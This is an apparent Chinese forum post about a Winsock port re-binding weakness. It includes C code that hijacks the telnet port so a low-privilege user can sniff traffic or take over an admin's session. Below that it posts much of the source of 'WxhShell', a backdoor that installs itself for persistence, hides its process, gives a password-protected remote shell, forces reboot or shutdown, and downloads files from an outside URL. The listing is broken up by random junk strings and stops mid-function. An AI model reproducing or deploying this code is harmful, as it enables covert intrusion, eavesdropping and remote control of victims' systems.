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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J'&K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O2lM;="  
%w!x \UV  
  saddr.sin_family = AF_INET; ['6Sq@c)  
m.5@q mQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u@Z6)r'  
h>z5m   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X7?14W  
wr>6Go%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gla'urb[i|  
-<u_fv  
  这意味着什么?意味着可以进行如下的攻击: &pv* TL8  
BISH34  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ( ~JtKSq%  
G}]'}FUp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Uw)B(;Hy?  
*~UK5Brf1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m_;XhO  
J'wJe,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zvv/|z2(r  
>v1.Gm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A' n7u'6=  
!<h-2YF<M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F*4G@)  
B+c,3@)x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =ATQ2\T$m  
vcP_gJz  
  #include >G vd?r  
  #include O4^' H}*  
  #include BGstf4v>A<  
  #include    |uJjO>8]|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R0q|{5S  
  int main() 2H~E~6G  
  { &5%~Qw..  
  WORD wVersionRequested; 7e)j|a-!<  
  DWORD ret; AFsYP/g]  
  WSADATA wsaData; _akpW  
  BOOL val; 2Fbg"de3-  
  SOCKADDR_IN saddr; 4`?WdCW8  
  SOCKADDR_IN scaddr; ;_/!F}d  
  int err; FlbM(ofY  
  SOCKET s; ,jy9\n*<t9  
  SOCKET sc; 8;3I:z&muQ  
  int caddsize; 1<0Z@D~F  
  HANDLE mt; >ATccv  
  DWORD tid;   7v`~;}5  
  wVersionRequested = MAKEWORD( 2, 2 ); TO/SiOd  
  err = WSAStartup( wVersionRequested, &wsaData ); Jg6@)<n  
  if ( err != 0 ) { hdbm8C3  
  printf("error!WSAStartup failed!\n"); d(,M  
  return -1; N1l^%Yf J  
  } byk9"QeY\  
  saddr.sin_family = AF_INET; f!B\X*|  
   CI|#,^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i~{0>"9  
y*-D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uLt31G()  
  saddr.sin_port = htons(23); NV\{$*j(|J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ca'c5*Fs  
  { 2=n,{rkmj%  
  printf("error!socket failed!\n"); cD s#5,  
  return -1; kq%`9,XE  
  } ciC4V^f  
  val = TRUE; hQGZrZK#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e^'?:j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aDZLabRu  
  { ip5s'S~  
  printf("error!setsockopt failed!\n"); =r0!-[XCa  
  return -1; SgXXitg9+  
  } ObM5vrEk|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [F/xU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D'nV &m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F$ h/k^  
6l_8Q w*5I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R&xD|w8UjM  
  { W>@%d`>o5  
  ret=GetLastError(); %oor7 -l  
  printf("error!bind failed!\n"); M2xUs  
  return -1; j|aT`UH03  
  } c7rYG]  
  listen(s,2); G~esSL^G/  
  while(1) q',a7Tf:  
  { +V'r >C:  
  caddsize = sizeof(scaddr); !-MG"\#Wq  
  //接受连接请求 df J7Dhn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rz7yAm  
  if(sc!=INVALID_SOCKET) _^'k_ a  
  { 2PeI+!7s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8dZH&G@;  
  if(mt==NULL) b6/:reH{  
  { Ck^=H  
  printf("Thread Creat Failed!\n"); F 1zc4l6  
  break; wUV%NZB  
  } lmc-ofEv  
  } / 9;Pbxn  
  CloseHandle(mt); {W4t]Ff  
  } 9Akwr}  
  closesocket(s); YJL=|v  
  WSACleanup(); VmT5? i  
  return 0; h`GV[Oo:  
  }   "Q J-IRt &  
  DWORD WINAPI ClientThread(LPVOID lpParam) 87>Qw,r  
  { 3}gK`1Nq1  
  SOCKET ss = (SOCKET)lpParam; ~w*ojI  
  SOCKET sc; CKR9APkv  
  unsigned char buf[4096]; $?GO|.59  
  SOCKADDR_IN saddr; !*ucVv;  
  long num; (Z5#;rgem  
  DWORD val; ixH7oWH#  
  DWORD ret; iGlZFA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?-Z:N`YP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R"=M5  
  saddr.sin_family = AF_INET; !'MD8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X5yhS  
  saddr.sin_port = htons(23); 1&As:kv5I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j w462h  
  { 7U7 i2 4  
  printf("error!socket failed!\n"); 18HHEW{  
  return -1; CKur$$B  
  } l85" C  
  val = 100; 'ng/A4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~S6N'$^  
  { x M[#Ah)  
  ret = GetLastError(); =+L>^w#6=  
  return -1; srkOa d  
  } {ULnQ 6@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7(;VUR%%.  
  { 9|m  L  
  ret = GetLastError(); Uwk|M?94  
  return -1; :F\f}G3  
  } b#U%aPH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fpi6pcof  
  { Jp#cFUa t  
  printf("error!socket connect failed!\n"); HXQ rtJ  
  closesocket(sc); mx4*zj  
  closesocket(ss); rY= #^S  
  return -1; mTgn}rXk  
  } B=r/(e  
  while(1) 9 JtG&^*  
  { (jG$M=q-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jFv<]D%A[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GZt] 38V)g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g < o;\\  
  num = recv(ss,buf,4096,0); )]R?v,9*D  
  if(num>0) : \OvVS/  
  send(sc,buf,num,0); WGx>{'LJ  
  else if(num==0) ZM?r1Z4  
  break; (ce NVo&  
  num = recv(sc,buf,4096,0); -`UlntEdZ:  
  if(num>0) ?OyW|jL  
  send(ss,buf,num,0); Y c kbc6F  
  else if(num==0) cg%CYV)  
  break; MvmP["%J4_  
  } 5aNDW'z`f  
  closesocket(ss); lz 6 Aj  
  closesocket(sc); 4vS!99v)  
  return 0 ; aO%FQ)BT  
  } 6%#'X  
zOdKB2_J7  
B;r$( 'UZ  
========================================================== !X8R  
BkfBFUDQ  
下边附上一个代码,,WXhSHELL Uzn|)OfWP  
_'U?!  
========================================================== Q8oo5vqQ#C  
P0z{R[KBH  
#include "stdafx.h" cx(F,?SbS  
9m4rNvb  
#include <stdio.h> SGd.z6"H  
#include <string.h> A5ID I<a  
#include <windows.h> iXRt9)MT{  
#include <winsock2.h> #U D  
#include <winsvc.h> j//wh1  
#include <urlmon.h> ;@ X   
66^t[[  
#pragma comment (lib, "Ws2_32.lib") Xy<f_  
#pragma comment (lib, "urlmon.lib") qXGLv4c`Q  
ueBoSZRWX  
#define MAX_USER   100 // 最大客户端连接数 {~g  
#define BUF_SOCK   200 // sock buffer .G~5F- 8'  
#define KEY_BUFF   255 // 输入 buffer R}9jgB  
guXpHF=  
#define REBOOT     0   // 重启  7`@?3?  
#define SHUTDOWN   1   // 关机 Ki6.'#%7  
.@-]A   
#define DEF_PORT   5000 // 监听端口 'a?.X _t  
>C&<dO#i  
#define REG_LEN     16   // 注册表键长度 Bjj^!T/#  
#define SVC_LEN     80   // NT服务名长度 / i2-h  
R6mJFE*6T9  
// 从dll定义API `Kw8rG\]:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !DL53DQ#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nvVsO>2{ o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'OW"*b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XPo'iI-  
L)Ar{*xC  
// wxhshell配置信息 /~cL L  
struct WSCFG { >/kG5]zxY  
  int ws_port;         // 监听端口 ,<r3Z$G  
  char ws_passstr[REG_LEN]; // 口令 6FIoWG"x  
  int ws_autoins;       // 安装标记, 1=yes 0=no >1pH 91c'  
  char ws_regname[REG_LEN]; // 注册表键名 .x?zky^  
  char ws_svcname[REG_LEN]; // 服务名 x0$:"68PW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]m#MwN$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LEnP"o9ZW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9Sl|l.;!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OrJlHMz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8yz((?LrDh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]l7\Zq  
(DP9& b  
}; NV(4wlh)y  
l@/kPEh  
// default Wxhshell configuration +Z~!n  
struct WSCFG wscfg={DEF_PORT, 2$W,R/CLh  
    "xuhuanlingzhe", a{Hb7&  
    1, fy>And*  
    "Wxhshell", jP.b oj_u*  
    "Wxhshell", ~G:2iSi(#  
            "WxhShell Service", c1AG3Nb  
    "Wrsky Windows CmdShell Service", C5PBfn<j  
    "Please Input Your Password: ", rjQhU%zv  
  1, bKJ7vXC05  
  "http://www.wrsky.com/wxhshell.exe", Dzjt|U0ru9  
  "Wxhshell.exe" zpr@!76  
    }; ?&<o_/`-H5  
5~%,u2  
// 消息定义模块 po2[uJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HGQ?(2]8$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4zfRD`;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X8SRQO^  
char *msg_ws_ext="\n\rExit."; 8u5 'g1M  
char *msg_ws_end="\n\rQuit."; l8AEEG8>  
char *msg_ws_boot="\n\rReboot..."; [H:GKhPC`  
char *msg_ws_poff="\n\rShutdown..."; jM1%6  
char *msg_ws_down="\n\rSave to "; <RPoQ'.^  
Ao,!z  
char *msg_ws_err="\n\rErr!"; zPh\3B  
char *msg_ws_ok="\n\rOK!"; Xz .Y-5)  
`=}UFu  
char ExeFile[MAX_PATH]; DMcxa.Sd!  
int nUser = 0; dbuJ~?D,  
HANDLE handles[MAX_USER]; .F$|j1y  
int OsIsNt; hN_f h J  
 e_~fJ  
SERVICE_STATUS       serviceStatus; Z-h7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y-\A@jJC5  
1^f.5@tV  
// 函数声明 Ph+X{|  
int Install(void); hUT^V(  
int Uninstall(void); -?YTQ@ W  
int DownloadFile(char *sURL, SOCKET wsh); 6(J4IzZ  
int Boot(int flag); 4]aiT8))  
void HideProc(void); ./&zO{|0]  
int GetOsVer(void); :IVk_[s  
int Wxhshell(SOCKET wsl); GKyG #Fl  
void TalkWithClient(void *cs); $~,}yh;  
int CmdShell(SOCKET sock); << ;HY}s  
int StartFromService(void); 7*>S;$  
int StartWxhshell(LPSTR lpCmdLine); Yb%-tv:  
(\T0n[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S'!q}|7X 3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _))I.c=v  
W[>iJJwz  
// 数据结构和表定义 H\| ]!8w5Z  
SERVICE_TABLE_ENTRY DispatchTable[] = 5K ,#4EOV  
{ 4g7ja   
{wscfg.ws_svcname, NTServiceMain}, %/y`<lJz(  
{NULL, NULL} rXY;m-  
}; ```d:f  
zRV!(Y  
// 自我安装 ?AnjD8i  
int Install(void) ^.D}k  
{ OpK. Lsd0y  
  char svExeFile[MAX_PATH]; ;n} >C' :  
  HKEY key; kYxl1n v  
  strcpy(svExeFile,ExeFile); j1puB  
.~q)eV  
// 如果是win9x系统,修改注册表设为自启动 l@N;sI<O-  
if(!OsIsNt) { 3a#PA4Ql  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T0`"kjE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (A29Z H  
  RegCloseKey(key); ,{?q^"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B f5&}2u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SPkKiEdM  
  RegCloseKey(key); $T?*0"Mj[  
  return 0; dU]i-NF  
    } Y5ogi )  
  } Gz>Lqd  
} 6ORY`Pe7P|  
else { {J~(#i k   
*O@sh  
// 如果是NT以上系统,安装为系统服务 2yN%~C?$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a`H\-G  
if (schSCManager!=0) N%9h~G  
{ ch@x]@-;A3  
  SC_HANDLE schService = CreateService W.A1m4l58R  
  ( ~ww?Emrw  
  schSCManager, Bx(yu'g|a  
  wscfg.ws_svcname, x*.Ye 5Jb  
  wscfg.ws_svcdisp, aSOU#Csx  
  SERVICE_ALL_ACCESS, }A{_L6qx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6*ZU}xT  
  SERVICE_AUTO_START, R? O-x9  
  SERVICE_ERROR_NORMAL, HWqLcQ d:P  
  svExeFile, ?75\>NiR  
  NULL, ZCm1+Y$  
  NULL, >']+OrQH  
  NULL, Zta$R,[9h  
  NULL, NB E pM  
  NULL n0_B(997*  
  ); $v]T8|h  
  if (schService!=0) R0%?:! F  
  { Oqpp=7  
  CloseServiceHandle(schService); %drJ p6n%  
  CloseServiceHandle(schSCManager); L 5+J ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qi_&aU$>lM  
  strcat(svExeFile,wscfg.ws_svcname); ],n%Xp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y-'" >  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1h2H1gy5I3  
  RegCloseKey(key); p ZtgIS(3  
  return 0; |U#DUqw  
    } l '/N3&5  
  } yI8 SQ$w0y  
  CloseServiceHandle(schSCManager); OR]T`meO  
} E *BSfn&i  
} hp*<x4%*a"  
Y;} 2'"  
return 1; Z | We9%  
} 1!!\+ c2*  
<P1rqM9^  
// 自我卸载 r*chL&7  
int Uninstall(void) 8x9Rm  
{ >9=:sSQu  
  HKEY key; < kz[:n:  
,+se  
if(!OsIsNt) { Pey//U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u)v$JpNE  
  RegDeleteValue(key,wscfg.ws_regname); m%pBXXfGYj  
  RegCloseKey(key); }qAVN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NvQ%J+  
  RegDeleteValue(key,wscfg.ws_regname); jeq:  
  RegCloseKey(key); j&WL*XP&5  
  return 0; [(|^O>k8c  
  } b$Ln} <  
} r'p =`2=  
} ~Q?!W0ZBE  
else { '<7S^^ax  
3y ryeS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )Vg2Jix,]  
if (schSCManager!=0) jq(qo4~;  
{ x` 2| }AP(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rn-G @}f  
  if (schService!=0) %k2FPmA6  
  { ! RPb|1Y}+  
  if(DeleteService(schService)!=0) { P? (vW&B  
  CloseServiceHandle(schService); 'a#mViPTQ)  
  CloseServiceHandle(schSCManager); @uM EXP  
  return 0; i.y=8GxY  
  } g6%Z)5D]!  
  CloseServiceHandle(schService); K'aWCscM  
  } +{$QAjW(/  
  CloseServiceHandle(schSCManager); cwe1^SJ6y  
} 6):Xzx,  
} a }'->H  
%ucjMa>t  
return 1; f8'MP9Lv  
} SdJ/ 4&{ !  
:$g8Zm,y  
// 从指定url下载文件 _dU8'H  
int DownloadFile(char *sURL, SOCKET wsh) J[@um:  
{ J#Z5^)$  
  HRESULT hr; C!&y   
char seps[]= "/"; j1q[c,  
char *token;  9S1)U$  
char *file; 9JshMo  
char myURL[MAX_PATH]; zN~6HZ_:^  
char myFILE[MAX_PATH]; 88lxHoPV  
MT6/2d  
strcpy(myURL,sURL); xx)-d,S  
  token=strtok(myURL,seps); C5@V/vA  
  while(token!=NULL) k6(r !mc  
  { i ev>9j  
    file=token; <G ~>~L.E  
  token=strtok(NULL,seps); |0.Xl+7  
  } rNlW7 Y  
"e6|"w@8  
GetCurrentDirectory(MAX_PATH,myFILE); 3s*(uS(  
strcat(myFILE, "\\"); 0Fw6Dq<8-!  
strcat(myFILE, file); + G;LX'B  
  send(wsh,myFILE,strlen(myFILE),0); BqH]-'1G  
send(wsh,"...",3,0); z ;Q<F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /nZ;v4  
  if(hr==S_OK) 5$rSEVg9  
return 0; 55Gtp\L  
else EQ<RDhC@b  
return 1; LL*mgTQ  
r~7:daG*  
} %o w^dzW  
T vtm`Yk\  
// 系统电源模块 $uj(G7_  
int Boot(int flag) 0;.<~;@h  
{ o[1ylzk}+  
  HANDLE hToken; '5KeL3J;  
  TOKEN_PRIVILEGES tkp; o "z@&G" ^  
|=dC )Azs  
  if(OsIsNt) { a%vrt)Gx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0?0Jz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %|"g/2sF[G  
    tkp.PrivilegeCount = 1; D y-S98Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *G5c|Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  n_nl{  
if(flag==REBOOT) { V5`^Y=X(%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MXD4|r(  
  return 0; Vz=auM1xZ  
} t*XN_=E$f  
else { EZDy+6b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3)=c]@N0  
  return 0; @Xp~2@I=ls  
} ~b~2 >c9  
  } zDTv\3rZ4X  
  else { K(}AX+rIg  
if(flag==REBOOT) { :4gLjzL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _<c$)1  
  return 0; a2 +~;{?g  
} !h[VUg_8  
else { U_GgCI)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KhbYr$  
  return 0; ~]C%/gEh  
} e4>"92hX  
} b</9Ai=  
(~~w7L s  
return 1; PQN@JaD  
} :Y,BdU  
LUX*P7*B  
// win9x进程隐藏模块 8T)&`dM6P~  
void HideProc(void) :#~U<C@o  
{ !TM*o+;  
7CXW#H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %V9ZyQg%*  
  if ( hKernel != NULL ) q#w8wH"  
  { ) rW&c- '  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %UUH"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0|&\'{  
    FreeLibrary(hKernel); QqNW}: #  
  } 'y]\-T  
\s"U{N-  
return; 7\]E~/g  
} x<Vm5j  
*Xo]-cKL0  
// 获取操作系统版本 @fv}G>t  
int GetOsVer(void) ~lNsa".c  
{ bV8g|l-4(  
  OSVERSIONINFO winfo; tE6!+c<7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &k-Vcrcz  
  GetVersionEx(&winfo); wNFz*|n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~x#w<0e>  
  return 1; GdV1^`M6  
  else _Z5Mw+=19  
  return 0; (C4fG@n  
} jls-@Wl  
vAY,E=&XvM  
// 客户端句柄模块 bVP"(H]  
int Wxhshell(SOCKET wsl) }_=eT]  
{ xGTP;NT_H  
  SOCKET wsh; kmzH'wktt  
  struct sockaddr_in client; z'T) =ycT  
  DWORD myID; .ERO|$fv  
T\~x.aH`^  
  while(nUser<MAX_USER) "ju6XdZo  
{ Z{&cuo.@<]  
  int nSize=sizeof(client); R.=}@oPb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c'/l,k  
  if(wsh==INVALID_SOCKET) return 1; y.KO :P?5{  
(/35p g6\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W9NX=gE4  
if(handles[nUser]==0) q6YXM  
  closesocket(wsh); cGjPxG;  
else Ft}@ 1w5  
  nUser++; :y7c k/>  
  } RKPO#qju\F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4apL4E"r  
J!5$,%v  
  return 0; MEB it  
} .^B*e6DAD  
d!eYqM7-G  
// 关闭 socket m2AnXY\  
void CloseIt(SOCKET wsh) ;!(<s,c#:  
{ P.gb 1$7<  
closesocket(wsh); /?SLdW  
nUser--; H;RwO@v  
ExitThread(0); 9a8cRt6knO  
} ):iA\A5q[  
T=ev[ mS  
// 客户端请求句柄 g+z1  
void TalkWithClient(void *cs) AK@9?_D  
{ %c4Hse#Y  
82l~G;.n3  
  SOCKET wsh=(SOCKET)cs; Jv^h\~*jH  
  char pwd[SVC_LEN]; ti \wg  
  char cmd[KEY_BUFF]; EFz&N\2  
char chr[1]; Mo^ od<  
int i,j; ~@}Bi@*  
a\r\PBi  
  while (nUser < MAX_USER) { M3.do^ss  
<Y}R#o1Z  
if(wscfg.ws_passstr) { .SWlp2!M5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VVlr*`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _bNzXF  
  //ZeroMemory(pwd,KEY_BUFF); a |X a3E  
      i=0; &q9T9A OS  
  while(i<SVC_LEN) { PUUwv_  
5aCgjA11  
  // 设置超时 RCpR3iC2  
  fd_set FdRead; vX.VfY  
  struct timeval TimeOut; +U3DG$  
  FD_ZERO(&FdRead); w(L4A0K[  
  FD_SET(wsh,&FdRead); :=Nz }mUV  
  TimeOut.tv_sec=8; ~A\GT$  
  TimeOut.tv_usec=0; +L;e^#>d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |!4K!_y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nlc "c5;jh  
5?x>9C a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qnsi`1mASr  
  pwd=chr[0]; -Fe?R*-g  
  if(chr[0]==0xd || chr[0]==0xa) { Vh4X%b$TV  
  pwd=0; p^w;kN  
  break; .:F%_dS D  
  } LU!a'H'Q  
  i++; 9w7n1k.  
    } n"c[,k+R`U  
H*PSR  
  // 如果是非法用户,关闭 socket 3ca (i/c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5j?3a1l0  
} MDnua  
VZKvaxIk6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |IzPgC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1G^`-ri6  
asppRL||  
while(1) { v bZ}Z3f_  
Fj2BnM3#  
  ZeroMemory(cmd,KEY_BUFF); k5'Vy8q  
5@~ Q^r:%  
      // 自动支持客户端 telnet标准   f*?]+rz  
  j=0; u7>],<  
  while(j<KEY_BUFF) { QTk}h_<u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VY7[)  
  cmd[j]=chr[0]; VA#"r!1  
  if(chr[0]==0xa || chr[0]==0xd) { *Q "wwpl?  
  cmd[j]=0; kaVxT_  
  break; 4O^xY 6m  
  } 'a@/vx&J  
  j++; I 5^!y  
    } rlOAo`hd  
+%h8r5o1  
  // 下载文件 YJT&{jYi  
  if(strstr(cmd,"http://")) { \@c,3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G[uK-U  
  if(DownloadFile(cmd,wsh)) Ga^"1TZ x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); , /Z%@-rF  
  else 8V`WO6*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "*e$aTZB\  
  } 2} /aFR  
  else { U:0mp"  
:!WHFB o 8  
    switch(cmd[0]) { z]_wjYn Z  
  $9_xGfx}  
  // 帮助 ?]_$Dcmx  
  case '?': { wd8 l$*F*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <lPm1/8  
    break; yg<R=$n,Q  
  } [}E='m}u9+  
  // 安装 U ]H#MiC!  
  case 'i': { m$>H u@Va  
    if(Install()) 2*;~S4 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k<CJ{u0<  
    else |6sp/38#p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XpB_N{v9w  
    break; *K8$eDNZ  
    } LM<qT-/qs  
  // 卸载 ?jv/TBZX4  
  case 'r': { )l C)@H}  
    if(Uninstall()) BU/"rv"(Fg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uP)'FI  
    else ] vHF~|/-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /$Nsd  
    break; 5}l[>lF  
    } 24 'J  
  // 显示 wxhshell 所在路径 H(ARw'M  
  case 'p': { X:"i4i[}{9  
    char svExeFile[MAX_PATH]; x}Eg.S  
    strcpy(svExeFile,"\n\r"); RB7tmJ c  
      strcat(svExeFile,ExeFile); cKca;SNql1  
        send(wsh,svExeFile,strlen(svExeFile),0); %D{6[8  
    break; 'x#~'v*  
    } G" qv z{*  
  // 重启 C_}]`[  
  case 'b': { Y.(PiuG$G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Uiw2oi&_  
    if(Boot(REBOOT)) {BN#h[#B{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GY'%+\*tj  
    else { Ko<:Z)PS  
    closesocket(wsh); `,<BCu  
    ExitThread(0); D0-3eV -  
    } zj{pJOM06  
    break; cA?W7D  
    } oWT3apGO  
  // 关机 xef% d G.  
  case 'd': { Vx u0F]%  
